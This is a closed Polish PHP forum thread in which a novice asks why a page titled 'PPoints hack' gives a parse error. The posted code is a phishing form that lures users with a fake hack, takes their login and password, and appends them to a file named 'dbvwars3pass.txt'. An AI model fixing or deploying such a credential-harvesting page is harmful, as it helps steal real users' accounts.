Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [DIY][PHP] Parse error
-noob php-
post 28.12.2013, 15:42:10
Post #1





Goście







GDZIE JEST BLAD?
Raport:
  1. Parse error: syntax error, unexpected $end in /virtual/xxxxxxxx/ppoints.php on line 55

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>PPoints hack</title>
  5. </head>
  6. <body>
  7. <form action="" method="GET">
  8. Login: <input type="password" name="login"/><br>
  9. Hasło: <input type="password" name="password"/><br>
  10. Nick: <input type="text" name="nick"/><br>
  11. <input type="hidden" name="key" value="FJ8W94MFWAVO4CKUFO9HMOWE8CTHWRT"/><br>
  12. <input type="submit" name="button"/><br>
  13. </form>
  14. <?php
  15. if(isSet($_GET['button']))
  16. {
  17. if($_GET['login']="")
  18. {
  19. header("Location: ppoints.php?error=1");
  20. }
  21.  
  22. if($_GET['password']="")
  23. {
  24. header("Location: ppoints.php?error=2");
  25. }
  26.  
  27. if($_GET['nick']="")
  28. {
  29. header("Location: ppoints.php?error=3");
  30. }
  31.  
  32. if($_GET['error']==1)
  33. {
  34. echo "Pole login musi być prawidłowe!";
  35. }
  36. if($_GET['error']==2)
  37. {
  38. echo "Pole hasło musi być prawidłowe!";
  39. }
  40.  
  41. if($_GET['error']==3)
  42. {
  43. echo "Pole nick musi być prawidłowe!";
  44. }
  45.  
  46. $dane = "-------------"."\n"."Login: ".$pole1."\n"."Haslo: ".$pole2."\n"."-------------"."\n";
  47. // przypisanie zmniennej $file nazwy pliku
  48. $file = "dbvwars3pass.txt";
  49. // uchwyt pliku, otwarcie do dopisania
  50. $fp = fopen($file, "a+");
  51. // blokada pliku do zapisu
  52. flock($fp, 2);
  53. // zapisanie danych do pliku
  54. fwrite($fp, $dane);
  55. // odblokowanie pliku
  56. flock($fp, 3);
  57. // zamknięcie pliku
  58. fclose($fp);
  59. ?>
  60. </body>
  61. </html>
Powód edycji: [Daiquiri]: Zamykam.
Go to the top of the page
+Quote Post

Posty w temacie


Closed TopicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 14.08.2025 - 04:55